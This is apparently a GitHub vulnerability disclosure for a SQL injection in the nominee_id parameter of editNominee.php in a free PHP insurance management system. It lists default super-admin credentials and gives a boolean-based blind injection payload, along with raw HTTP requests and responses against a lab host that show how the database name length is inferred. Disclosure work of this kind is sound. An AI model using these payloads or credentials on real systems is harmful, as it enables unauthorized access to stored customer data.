

main

...

bug\_report / vendors / itsourcecode.com / insurance-management-system / SQLi-5.md



debug601 Update SQLi-5.md

History

1 contributor

39 lines (25 sloc) | 1.55 KB

...

# Insurance Management System v1.0 by oretnom23 has SQL injection

Author: k0xx

vendors: <https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/>

Login account: ahmed/12345 (Super Admin account)

Vulnerability File: /insurance/editNominee.php?nominee\_id=

Vulnerability location: /insurance/editNominee.php?nominee\_id=,nominee\_id=

[+] Payload: /insurance/editNominee.php?nominee\_id=1511989270-522970848%27%20and%20length(database())%20=4%20--+ // Leak place ---> nominee\_id=

Current database name: lims,length is 4

```
GET /insurance/editNominee.php?nominee_id=1511989270-522970848%27%20and%20length(dat
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=tmbv0mt5ff9hphhe0mtv4sghfq  
Connection: close

When length (database ()) = 3, Content-Length: 4297

```
GET /insurance/editNominee.php?nominee_id=1511989270-522970848%27%20and%20length(database())%20=3%20--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=tmbv0mt5ff9hphhe0mtv4sghfq
Connection: close
```

```
HTTP/1.1 200 OK
Date: Sun, 01 May 2022 12:20:47 GMT
Server: Apache/2.4.48 (win64)
OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 4297
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
<head>
<style>
```


SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL Split URL Execute

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All

http://192.168.1.19/insurance/editNominee.php?nominee\_id=1511989270-522970848' and length(database())=3'--+

LIFE INSURANCE



welcome, ahmed

CLIENTS

AGENTS

POLICY

NOMINEE INFORMATION

Add Nominee

UPDATE

Delete Nominee

When length (database ()) = 4, Content-Length: 5523

RawParamsHeadersHex

GET /insurance/editNominee.php?nominee\_id=1511989270-522970848%27%20and%20length(database())%20=4%20--+ HTTP/1.1  
Host: 192.168.1.19  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=tmbvOmt5ff9hphheOmtv4sghfq  
Connection: close

RawHeadersHexHTMLRender


HTTP/1.1 200 OK  
Date: Sun, 01 May 2022 12:20:24 GMT  
Server: Apache/2.4.48 (win64)  
OpenSSL/1.1.1k PHP/8.0.7  
X-Powered-By: PHP/8.0.7  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 5523  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
<!DOCTYPE html>  
<html>  
<head>  
<style>

Load URL  
Split URL  
Execute

http://192.168.1.19/insurance/editNominee.php?nominee\_id=1511989270-522970848' and length(database()) =4 --+|

☐ Post data ☐ Referrer ☒ 0xHEX ☒ %URL ☒ BASE64   ☒ Repla

LIFE INSURANCE



welcome, ahmed

CLIENTS

AGENTS

NOMINEE INFORMATION

NOMINEE ID

1511989270-522970848

CLIENT ID